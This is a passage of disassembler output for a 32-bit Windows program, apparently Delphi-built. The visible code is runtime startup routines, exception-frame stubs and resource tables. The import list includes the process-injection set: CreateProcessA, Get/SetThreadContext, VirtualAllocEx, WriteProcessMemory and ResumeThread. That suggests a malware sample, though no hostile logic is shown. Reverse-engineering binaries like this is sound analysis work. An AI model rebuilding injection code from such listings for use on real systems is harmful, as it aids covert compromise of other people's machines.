		jz	short loc_20005B6D
		call	GetVersion
		and	eax, 0FFh
		cmp	ax, 4
		jbe	short loc_20005B5C
		mov	ds:CodePage, 3
		jmp	short loc_20005B7C
; ---------------------------------------------------------------------------


loc_20005B5C:				; CODE XREF: sub_20005AB4+9Aj
		call	GetThreadLocale
		call	sub_200059EC
		mov	ds:CodePage, eax
		jmp	short loc_20005B7C
; ---------------------------------------------------------------------------


loc_20005B6D:				; CODE XREF: sub_20005AB4+8Aj
		call	GetThreadLocale
		call	sub_200059EC
		mov	ds:CodePage, eax


loc_20005B7C:				; CODE XREF: sub_20005AB4+A6j
					; sub_20005AB4+B7j
		call	GetCurrentThreadId
		mov	ds:dword_20015030, eax

locret_20005B86:			; CODE XREF: sub_20005AB4+7j
		retn
sub_20005AB4	endp

; ---------------------------------------------------------------------------
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION GetModuleHandleA_0. PRESS	KEYPAD "+" TO EXPAND]
		align 10h
; [00000006 BYTES: COLLAPSED FUNCTION LocalAlloc_0. PRESS KEYPAD "+" TO	EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION TlsGetValue. PRESS KEYPAD	"+" TO EXPAND]
		align 10h
; [00000006 BYTES: COLLAPSED FUNCTION TlsSetValue. PRESS KEYPAD	"+" TO EXPAND]
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_20005BA8	proc near		; CODE XREF: sub_20005BBC+21p
		push	eax		; uBytes
		push	40h		; uFlags
		call	LocalAlloc_0
		retn
sub_20005BA8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_20005BB4	proc near		; CODE XREF: sub_20005BBC+1p
		mov	eax, 0Ch
		retn
sub_20005BB4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_20005BBC	proc near		; CODE XREF: sub_20005C00:loc_20005C1Ap
		push	ebx
		call	sub_20005BB4
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_20005BFE
		cmp	ds:TlsIndex, 0FFFFFFFFh
		jnz	short loc_20005BDB
		mov	eax, 0E2h
		call	sub_20003F9C
; ---------------------------------------------------------------------------


loc_20005BDB:				; CODE XREF: sub_20005BBC+13j
		mov	eax, ebx
		call	sub_20005BA8
		test	eax, eax
		jnz	short loc_20005BF2
		mov	eax, 0E2h
		call	sub_20003F9C
; ---------------------------------------------------------------------------
		jmp	short loc_20005BFE
; ---------------------------------------------------------------------------


loc_20005BF2:				; CODE XREF: sub_20005BBC+28j
		push	eax		; lpTlsValue
		mov	eax, ds:TlsIndex
		push	eax		; dwTlsIndex
		call	TlsSetValue


loc_20005BFE:				; CODE XREF: sub_20005BBC+Aj
					; sub_20005BBC+34j
		pop	ebx
		retn
sub_20005BBC	endp


; =============== S U B	R O U T	I N E =======================================



sub_20005C00	proc near		; CODE XREF: sub_20002704+20p
					; sub_2000275C+3p ...
		mov	cl, ds:byte_2001565C
		mov	eax, ds:TlsIndex
		test	cl, cl
		jnz	short loc_20005C35
		mov	edx, large fs:2Ch
		mov	eax, [edx+eax*4]
		retn
; ---------------------------------------------------------------------------


loc_20005C1A:				; CODE XREF: sub_20005C00+3Dj
		call	sub_20005BBC
		mov	eax, ds:TlsIndex
		push	eax		; dwTlsIndex
		call	TlsGetValue
		test	eax, eax
		jz	short loc_20005C2F
		retn
; ---------------------------------------------------------------------------


loc_20005C2F:				; CODE XREF: sub_20005C00+2Cj
		mov	eax, ds:dword_20015668
		retn
; ---------------------------------------------------------------------------


loc_20005C35:				; CODE XREF: sub_20005C00+Dj
		push	eax		; dwTlsIndex
		call	TlsGetValue
		test	eax, eax
		jz	short loc_20005C1A
		retn
sub_20005C00	endp


; =============== S U B	R O U T	I N E =======================================



sub_20005C40	proc near		; CODE XREF: sub_20005C4C+2Ep
		mov	eax, offset dword_200140C0
		call	sub_20005474
		retn
sub_20005C40	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_20005C4C	proc near		; CODE XREF: CODE:2001337Ep
		push	ebx
		mov	ebx, eax
		xor	eax, eax
		mov	ds:TlsIndex, eax
		push	0		; lpModuleName
		call	GetModuleHandleA_0
		mov	ds:dword_20015660, eax
		mov	eax, ds:dword_20015660
		mov	ds:dword_200140C4, eax
		xor	eax, eax
		mov	ds:dword_200140C8, eax
		xor	eax, eax
		mov	ds:dword_200140CC, eax
		call	sub_20005C40
		mov	edx, offset dword_200140C0
		mov	eax, ebx
		call	sub_20003D14
		pop	ebx
		retn
sub_20005C4C	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_20005C90	proc near		; DATA XREF: CODE:200132B8o
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_20005CB5
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_20015664
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_20005CBC


loc_20005CB4:				; CODE XREF: sub_20005C90+2Aj
		retn
; ---------------------------------------------------------------------------


loc_20005CB5:				; DATA XREF: sub_20005C90+6o
		jmp	loc_200039D0
; ---------------------------------------------------------------------------
		jmp	short loc_20005CB4
; ---------------------------------------------------------------------------


loc_20005CBC:				; CODE XREF: sub_20005C90:loc_20005CB4j
					; DATA XREF: sub_20005C90+1Fo
		pop	ebp
		retn
sub_20005C90	endp

; ---------------------------------------------------------------------------
		align 10h


loc_20005CC0:				; DATA XREF: CODE:off_200132B4o
		sub	ds:dword_20015664, 1
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_20005CC8	proc near		; DATA XREF: CODE:200132C8o
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_20005CED
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_2001566C
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_20005CF4


loc_20005CEC:				; CODE XREF: sub_20005CC8+2Aj
		retn
; ---------------------------------------------------------------------------


loc_20005CED:				; DATA XREF: sub_20005CC8+6o
		jmp	loc_200039D0
; ---------------------------------------------------------------------------
		jmp	short loc_20005CEC
; ---------------------------------------------------------------------------


loc_20005CF4:				; CODE XREF: sub_20005CC8:loc_20005CECj
					; DATA XREF: sub_20005CC8+1Fo
		pop	ebp
		retn
sub_20005CC8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_20005CF8	proc near		; DATA XREF: CODE:200132C4o
		sub	ds:dword_2001566C, 1
		retn
sub_20005CF8	endp

; [00000006 BYTES: COLLAPSED FUNCTION GetUserNameA. PRESS KEYPAD "+" TO	EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION CloseHandle_0. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000006 BYTES: COLLAPSED FUNCTION CompareStringA. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION CreateEventA. PRESS KEYPAD "+" TO	EXPAND]
		align 10h
; [00000006 BYTES: COLLAPSED FUNCTION CreateFileA_0. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION CreateProcessA. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000006 BYTES: COLLAPSED FUNCTION DeleteCriticalSection_0. PRESS KEYPAD "+"	TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION EnterCriticalSection_0. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000006 BYTES: COLLAPSED FUNCTION EnumCalendarInfoA. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION ExitProcess_0. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000006 BYTES: COLLAPSED FUNCTION FormatMessageA. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION FreeLibrary_0. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000006 BYTES: COLLAPSED FUNCTION GetACP. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION GetCPInfo. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000006 BYTES: COLLAPSED FUNCTION GetCurrentThreadId_0. PRESS KEYPAD "+" TO	EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION GetDateFormatA. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000006 BYTES: COLLAPSED FUNCTION GetDiskFreeSpaceA. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION GetFullPathNameA.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000006 BYTES: COLLAPSED FUNCTION GetLastError_0. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION GetLocalTime. PRESS KEYPAD "+" TO	EXPAND]
		align 10h
; [00000006 BYTES: COLLAPSED FUNCTION GetLocaleInfoA_0.	PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION GetModuleFileNameA_0. PRESS KEYPAD "+" TO	EXPAND]
		align 10h
; [00000006 BYTES: COLLAPSED FUNCTION GetModuleHandleA_1. PRESS	KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION GetProcAddress_0.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000006 BYTES: COLLAPSED FUNCTION GetStdHandle_0. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION GetStringTypeExA.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000006 BYTES: COLLAPSED FUNCTION GetThreadContext.	PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION GetThreadLocale_0. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000006 BYTES: COLLAPSED FUNCTION GetVersionExA. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION InitializeCriticalSection_0. PRESS KEYPAD	"+" TO EXPAND]
		align 10h
; [00000006 BYTES: COLLAPSED FUNCTION LeaveCriticalSection_0. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION ReadFile_0. PRESS	KEYPAD "+" TO EXPAND]
		align 10h
; [00000006 BYTES: COLLAPSED FUNCTION ReadProcessMemory. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION ResetEvent. PRESS	KEYPAD "+" TO EXPAND]
		align 10h
; [00000006 BYTES: COLLAPSED FUNCTION ResumeThread. PRESS KEYPAD "+" TO	EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION SetEndOfFile_0. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000006 BYTES: COLLAPSED FUNCTION SetEvent.	PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION SetFilePointer_0.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000006 BYTES: COLLAPSED FUNCTION SetThreadContext.	PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION VirtualAllocEx. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000006 BYTES: COLLAPSED FUNCTION VirtualQuery_0. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION WaitForSingleObject. PRESS KEYPAD	"+" TO EXPAND]
		align 10h
; [00000006 BYTES: COLLAPSED FUNCTION WriteFile_0. PRESS KEYPAD	"+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION WriteProcessMemory. PRESS	KEYPAD "+" TO EXPAND]
		align 10h
; [00000006 BYTES: COLLAPSED FUNCTION CharNextA_0. PRESS KEYPAD	"+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION CharToOemA. PRESS	KEYPAD "+" TO EXPAND]
		align 10h
; [00000006 BYTES: COLLAPSED FUNCTION GetSystemMetrics.	PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION LoadStringA_0. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000006 BYTES: COLLAPSED FUNCTION MessageBoxA_0. PRESS KEYPAD "+" TO EXPAND]
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_20005E88	proc near		; CODE XREF: sub_20012F40+B9p
					; sub_20012F40+131p
		xchg	eax, edx
		call	sub_200027FC
		retn
sub_20005E88	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_20005E90	proc near		; CODE XREF: sub_20012F40+18Cp
					; sub_20012F40+1A7p
		xor	ecx, ecx
		call	sub_20002E38
		retn
sub_20005E90	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_20005E98	proc near		; DATA XREF: CODE:200132D0o
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_20005EBD
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_20015670
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_20005EC4


loc_20005EBC:				; CODE XREF: sub_20005E98+2Aj
		retn
; ---------------------------------------------------------------------------


loc_20005EBD:				; DATA XREF: sub_20005E98+6o
		jmp	loc_200039D0
; ---------------------------------------------------------------------------
		jmp	short loc_20005EBC
; ---------------------------------------------------------------------------


loc_20005EC4:				; CODE XREF: sub_20005E98:loc_20005EBCj
					; DATA XREF: sub_20005E98+1Fo
		pop	ebp
		retn
sub_20005E98	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_20005EC8	proc near		; DATA XREF: CODE:200132CCo
		sub	ds:dword_20015670, 1
		retn
sub_20005EC8	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_20005EF5
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_20015674
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_20005EFC


loc_20005EF4:				; CODE XREF: CODE:20005EFAj
		retn
; ---------------------------------------------------------------------------


loc_20005EF5:				; DATA XREF: CODE:20005ED6o
		jmp	loc_200039D0
; ---------------------------------------------------------------------------
		jmp	short loc_20005EF4
; ---------------------------------------------------------------------------


loc_20005EFC:				; CODE XREF: CODE:loc_20005EF4j
					; DATA XREF: CODE:20005EEFo
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_20005F00	proc near		; DATA XREF: CODE:200132D4o
		sub	ds:dword_20015674, 1
		retn
sub_20005F00	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_20005F2D
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_20015678
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_20005F34


loc_20005F2C:				; CODE XREF: CODE:20005F32j
		retn
; ---------------------------------------------------------------------------


loc_20005F2D:				; DATA XREF: CODE:20005F0Eo
		jmp	loc_200039D0
; ---------------------------------------------------------------------------
		jmp	short loc_20005F2C
; ---------------------------------------------------------------------------


loc_20005F34:				; CODE XREF: CODE:loc_20005F2Cj
					; DATA XREF: CODE:20005F27o
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 4
		sub	ds:dword_20015678, 1
		retn
; [00000006 BYTES: COLLAPSED FUNCTION ShellExecuteA. PRESS KEYPAD "+" TO EXPAND]
		align 4
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_20005F6D
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_2001567C
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_20005F74


loc_20005F6C:				; CODE XREF: CODE:20005F72j
		retn
; ---------------------------------------------------------------------------


loc_20005F6D:				; DATA XREF: CODE:20005F4Eo
		jmp	loc_200039D0
; ---------------------------------------------------------------------------
		jmp	short loc_20005F6C
; ---------------------------------------------------------------------------


loc_20005F74:				; CODE XREF: CODE:loc_20005F6Cj
					; DATA XREF: CODE:20005F67o
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 4
		sub	ds:dword_2001567C, 1
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_20005FA5
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_20015680
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_20005FAC


loc_20005FA4:				; CODE XREF: CODE:20005FAAj
		retn
; ---------------------------------------------------------------------------


loc_20005FA5:				; DATA XREF: CODE:20005F86o
		jmp	loc_200039D0
; ---------------------------------------------------------------------------
		jmp	short loc_20005FA4
; ---------------------------------------------------------------------------


loc_20005FAC:				; CODE XREF: CODE:loc_20005FA4j
					; DATA XREF: CODE:20005F9Fo
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		sub	ds:dword_20015680, 1
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_20005FDD
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_20015684
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_20005FE4


loc_20005FDC:				; CODE XREF: CODE:20005FE2j
		retn
; ---------------------------------------------------------------------------


loc_20005FDD:				; DATA XREF: CODE:20005FBEo
		jmp	loc_200039D0
; ---------------------------------------------------------------------------
		jmp	short loc_20005FDC
; ---------------------------------------------------------------------------


loc_20005FE4:				; CODE XREF: CODE:loc_20005FDCj
					; DATA XREF: CODE:20005FD7o
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 4
		sub	ds:dword_20015684, 1
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_20006035
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_20015688
		jnz	short loc_20006027
		cmp	ds:dword_2001568C, 0
		jz	short loc_2000601D
		mov	eax, ds:dword_2001568C
		push	eax
		call	FreeLibrary_0


loc_2000601D:				; CODE XREF: CODE:20006010j
		mov	eax, offset dword_200140D8
		call	sub_20003FA8


loc_20006027:				; CODE XREF: CODE:20006007j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_2000603C


loc_20006034:				; CODE XREF: CODE:2000603Aj
		retn
; ---------------------------------------------------------------------------


loc_20006035:				; DATA XREF: CODE:20005FF6o
		jmp	loc_200039D0
; ---------------------------------------------------------------------------
		jmp	short loc_20006034
; ---------------------------------------------------------------------------


loc_2000603C:				; CODE XREF: CODE:loc_20006034j
					; DATA XREF: CODE:2000602Fo
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		sub	ds:dword_20015688, 1
		retn
; ---------------------------------------------------------------------------
off_20006048	dd offset dword_20015660 ; DATA	XREF: DATA:off_2001442Co
		dd 0FFF0h
off_20006050	dd offset dword_20015660 ; DATA	XREF: DATA:off_20014424o
		dd 0FFF1h
off_20006058	dd offset dword_20015660 ; DATA	XREF: DATA:off_20014478o
		dd 0FFF2h
off_20006060	dd offset dword_20015660 ; DATA	XREF: DATA:off_20014560o
		dd 0FFF3h
off_20006068	dd offset dword_20015660 ; DATA	XREF: DATA:off_200143D4o
		dd 0FFF4h
off_20006070	dd offset dword_20015660 ; DATA	XREF: DATA:off_20014518o
		dd 0FFF5h
off_20006078	dd offset dword_20015660 ; DATA	XREF: DATA:off_200144D0o
		dd 0FFF6h
off_20006080	dd offset dword_20015660 ; DATA	XREF: DATA:off_20014410o
		dd 0FFF7h
off_20006088	dd offset dword_20015660 ; DATA	XREF: DATA:off_20014434o
		dd 0FFF8h
off_20006090	dd offset dword_20015660 ; DATA	XREF: DATA:off_20014570o
		dd 0FFF9h
		dd offset dword_20015660 ; DATA	XREF: DATA:off_20014568o
		dd 0FFFAh
off_200060A0	dd offset dword_20015660 ; DATA	XREF: DATA:off_2001447Co
		dd 0FFFBh
off_200060A8	dd offset dword_20015660 ; DATA	XREF: DATA:off_20014580o
		dd 0FFFCh
off_200060B0	dd offset dword_20015660 ; DATA	XREF: DATA:off_2001459Co
		dd 0FFFDh
off_200060B8	dd offset dword_20015660 ; DATA	XREF: DATA:off_200144D4o
		dd 0FFFEh
off_200060C0	dd offset dword_20015660 ; DATA	XREF: DATA:off_200144E8o
		dd 0FFFFh
off_200060C8	dd offset dword_20015660 ; DATA	XREF: DATA:off_200144E0o
		dd 0FFE0h
off_200060D0	dd offset dword_20015660 ; DATA	XREF: DATA:off_20014594o
		dd 0FFE1h
off_200060D8	dd offset dword_20015660 ; DATA	XREF: DATA:off_20014508o
		dd 0FFE2h
off_200060E0	dd offset dword_20015660 ; DATA	XREF: DATA:off_2001446Co
		dd 0FFE3h
off_200060E8	dd offset dword_20015660 ; DATA	XREF: DATA:off_20014468o
		dd 0FFE4h
off_200060F0	dd offset dword_20015660 ; DATA	XREF: DATA:off_20014470o
		dd 0FFE5h
off_200060F8	dd offset dword_20015660 ; DATA	XREF: DATA:off_20014564o
		dd 0FFE6h
off_20006100	dd offset dword_20015660 ; DATA	XREF: DATA:off_20014590o
		dd 0FFE7h
off_20006108	dd offset dword_20015660 ; DATA	XREF: DATA:off_20014428o
		dd 0FFE8h
off_20006110	dd offset dword_20015660 ; DATA	XREF: DATA:off_2001417Co
					; DATA:off_20014438o
		dd 0FFE9h
off_20006118	dd offset dword_20015660 ; DATA	XREF: DATA:off_20014180o
					; DATA:off_20014480o
		dd 0FFEAh
off_20006120	dd offset dword_20015660 ; DATA	XREF: DATA:off_200143C8o
; ---------------------------------------------------------------------------
		jmp	short near ptr loc_20006124+1 ;	CODE XREF: CODE:loc_20006124j
; ---------------------------------------------------------------------------
		align 4
off_20006128	dd offset dword_20015660 ; DATA	XREF: DATA:off_200145A4o
		dd 0FFECh
off_20006130	dd offset dword_20015660 ; DATA	XREF: DATA:off_20014504o
		dd 0FFEDh
off_20006138	dd offset dword_20015660 ; DATA	XREF: DATA:off_20014484o
		dd 0FFEEh
off_20006140	dd offset dword_20015660 ; DATA	XREF: DATA:off_20014530o
		dd 0FFEFh
off_20006148	dd offset dword_20015660 ; DATA	XREF: DATA:off_20014598o
		dd 0FFD0h
off_20006150	dd offset dword_20015660 ; DATA	XREF: DATA:off_200144BCo
		dd 0FFD1h
off_20006158	dd offset dword_20015660 ; DATA	XREF: DATA:off_200144A4o
		dd 0FFD2h
off_20006160	dd offset dword_20015660 ; DATA	XREF: DATA:off_20014488o
		dd 0FFD3h
off_20006168	dd offset dword_20015660 ; DATA	XREF: DATA:off_200143D0o
		dd 0FFD4h
off_20006170	dd offset dword_20015660 ; DATA	XREF: DATA:off_200144FCo
		dd 0FFD5h
off_20006178	dd offset dword_20015660 ; DATA	XREF: DATA:off_20014408o
		dd 0FFD6h
		dd offset dword_20015660 ; DATA	XREF: DATA:off_20014440o
		dd 0FFD7h
		dd offset dword_20015660 ; DATA	XREF: DATA:off_2001456Co
		dd 0FFD8h
off_20006190	dd offset dword_20015660 ; DATA	XREF: DATA:off_200144D8o
		dd 0FFD9h
off_20006198	dd offset dword_20015660 ; DATA	XREF: DATA:off_20014404o
		dd 0FFDAh
off_200061A0	dd offset dword_20015660 ; DATA	XREF: DATA:off_200143ECo
		dd 0FFDBh
off_200061A8	dd offset dword_20015660 ; DATA	XREF: DATA:off_2001451Co
		dd 0FFDCh
off_200061B0	dd offset dword_20015660 ; DATA	XREF: DATA:off_20014498o
		dd 0FFDDh
off_200061B8	dd offset dword_20015660 ; DATA	XREF: DATA:off_200144F8o
		dd 0FFDEh
off_200061C0	dd offset dword_20015660 ; DATA	XREF: DATA:off_2001454Co
		dd 0FFDFh
off_200061C8	dd offset dword_20015660 ; DATA	XREF: DATA:off_2001443Co
; ---------------------------------------------------------------------------
		sar	bh, 0
		add	[eax+56h], ah	; DATA XREF: DATA:off_2001453Co
		add	[eax], esp
		sar	edi, 0
		add	[eax+56h], ah	; DATA XREF: DATA:off_20014514o
		add	[eax], esp
		retn	0FFh
; ---------------------------------------------------------------------------
		align 10h
off_200061E0	dd offset dword_20015660 ; DATA	XREF: DATA:off_2001457Co
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 0FFh, 2 dup(0)
off_200061E8	dd offset dword_20015660 ; DATA	XREF: DATA:off_200141A4o
					; DATA:off_20014588o
		dd 0FFC4h
off_200061F0	dd offset dword_20015660 ; DATA	XREF: DATA:off_200141A8o
					; DATA:off_200144C0o
		dd 0FFC5h
off_200061F8	dd offset dword_20015660 ; DATA	XREF: DATA:off_200141ACo
					; DATA:off_20014558o
		dd 0FFC6h
off_20006200	dd offset dword_20015660 ; DATA	XREF: DATA:off_200141B0o
					; DATA:off_200143C4o
		dd 0FFC7h
off_20006208	dd offset dword_20015660 ; DATA	XREF: DATA:off_200141B4o
					; DATA:off_20014400o
		dd 0FFC8h
off_20006210	dd offset dword_20015660 ; DATA	XREF: DATA:off_200141B8o
					; DATA:off_200145A8o
; ---------------------------------------------------------------------------
		leave
		inc	dword ptr [eax]


loc_20006217:				; DATA XREF: DATA:off_200141BCo
					; DATA:off_20014548o
		add	[eax+56h], ah
		add	[eax], esp
		retf	0FFh
; ---------------------------------------------------------------------------
		align 10h
off_20006220	dd offset dword_20015660 ; DATA	XREF: DATA:off_200141C0o
					; DATA:off_200143E4o
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 0FFh, 2 dup(0)
off_20006228	dd offset dword_20015660 ; DATA	XREF: DATA:off_200141C4o
					; DATA:off_20014430o
		db 0CCh
		db 0FFh, 2 dup(0)
off_20006230	dd offset dword_20015660 ; DATA	XREF: DATA:off_200141C8o
					; DATA:off_200144C4o
		dd 0FFCDh
off_20006238	dd offset dword_20015660 ; DATA	XREF: DATA:off_200141CCo
					; DATA:off_20014550o
		dd 0FFCEh
off_20006240	dd offset dword_20015660 ; DATA	XREF: DATA:off_200141D0o
					; DATA:off_20014574o
		dd 0FFCFh
off_20006248	dd offset dword_20015660 ; DATA	XREF: DATA:off_200141D4o
					; DATA:off_2001448Co
		dd 0FFB0h
off_20006250	dd offset dword_20015660 ; DATA	XREF: DATA:off_200141D8o
					; DATA:off_200143D8o
		dd 0FFB1h
off_20006258	dd offset dword_20015660 ; DATA	XREF: DATA:off_200141DCo
					; DATA:off_20014458o
		dd 0FFB2h
off_20006260	dd offset dword_20015660 ; DATA	XREF: DATA:off_200141E0o
					; DATA:off_200144A8o
		dd 0FFB3h
off_20006268	dd offset dword_20015660 ; DATA	XREF: DATA:off_200141E4o
					; DATA:off_200144DCo
		dd 0FFB4h
off_20006270	dd offset dword_20015660 ; DATA	XREF: DATA:off_200141E8o
					; DATA:off_200144A0o
		dd 0FFB5h
off_20006278	dd offset dword_20015660 ; DATA	XREF: DATA:off_200141ECo
					; DATA:off_20014448o
		dd 0FFB6h
off_20006280	dd offset dword_20015660 ; DATA	XREF: DATA:off_200141F0o
					; DATA:off_200144ACo
		dd 0FFB7h
off_20006288	dd offset dword_20015660 ; DATA	XREF: DATA:off_200141F4o
					; DATA:off_20014520o
		dd 0FFB8h
off_20006290	dd offset dword_20015660 ; DATA	XREF: DATA:off_200141F8o
					; DATA:off_200143DCo
		dd 0FFB9h
off_20006298	dd offset dword_20015660 ; DATA	XREF: DATA:off_200141FCo
					; DATA:off_20014450o
		dd 0FFBAh
off_200062A0	dd offset dword_20015660 ; DATA	XREF: DATA:off_20014200o
					; DATA:off_20014464o
		dd 0FFBBh
off_200062A8	dd offset dword_20015660 ; DATA	XREF: DATA:off_20014204o
					; DATA:off_200144F0o
		dd 0FFBCh
off_200062B0	dd offset dword_20015660 ; DATA	XREF: DATA:off_20014208o
					; DATA:off_20014524o
		dd 0FFBDh
off_200062B8	dd offset dword_20015660 ; DATA	XREF: DATA:off_2001420Co
					; DATA:off_2001452Co
		dd 0FFBEh
off_200062C0	dd offset dword_20015660 ; DATA	XREF: DATA:off_20014210o
					; DATA:off_200144C8o
		dd 0FFBFh
off_200062C8	dd offset dword_20015660 ; DATA	XREF: DATA:off_20014214o
					; DATA:off_20014418o
		dd 0FFA0h
off_200062D0	dd offset dword_20015660 ; DATA	XREF: DATA:off_20014218o
					; DATA:off_200144E4o
		dd 0FFA1h
off_200062D8	dd offset dword_20015660 ; DATA	XREF: DATA:off_2001421Co
					; DATA:off_20014474o
		dd 0FFA2h
off_200062E0	dd offset dword_20015660 ; DATA	XREF: DATA:off_20014220o
					; DATA:off_200143FCo
		dd 0FFA3h
off_200062E8	dd offset dword_20015660 ; DATA	XREF: DATA:off_20014224o
					; DATA:off_20014414o
		dd 0FFA4h
off_200062F0	dd offset dword_20015660 ; DATA	XREF: DATA:off_20014228o
					; DATA:off_2001441Co
		dd 0FFA5h
